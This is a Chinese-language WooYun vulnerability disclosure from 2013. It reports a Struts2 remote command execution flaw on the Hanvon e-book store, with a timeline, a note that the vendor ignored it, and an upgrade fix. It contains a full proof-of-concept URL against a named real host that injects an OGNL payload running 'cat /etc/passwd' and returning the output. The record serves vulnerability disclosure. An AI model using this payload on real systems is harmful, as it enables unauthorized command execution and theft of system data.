漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-032214
漏洞标题：汉王书城ST2远程命令执行漏洞
相关厂商：汉王书城
漏洞作者： stephenpan
提交时间：2013-07-25 10:26
修复时间：2013-09-08 10:26
公开时间：2013-09-08 10:26
漏洞类型：命令执行
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-25： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-09-08： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
汉王科技股份有限公司成立于1998年，是全球文字识别技术与智能交互产品引领者，多年来，通过不断自主创新，在联机手写识别、光学字符识别(OCR)、数位绘画板等领域拥有多项具有自主知识产权的核心技术，综合技术水平在国内外均处于领先地位，手写汉字识别获得国家科技进步一等奖，OCR获得国家科技进步二等奖。其电子书城存在命令执行漏洞，用户数据和金钱的安全受到重大影响。。
详细说明：
POC:http://news.hwebook.cn/findBookNewsByCategory.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
漏洞证明：
此站涉及到用户数据与Money，故影响较大。
修复方案：
升级ST2
版权声明：转载请注明来源 stephenpan@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝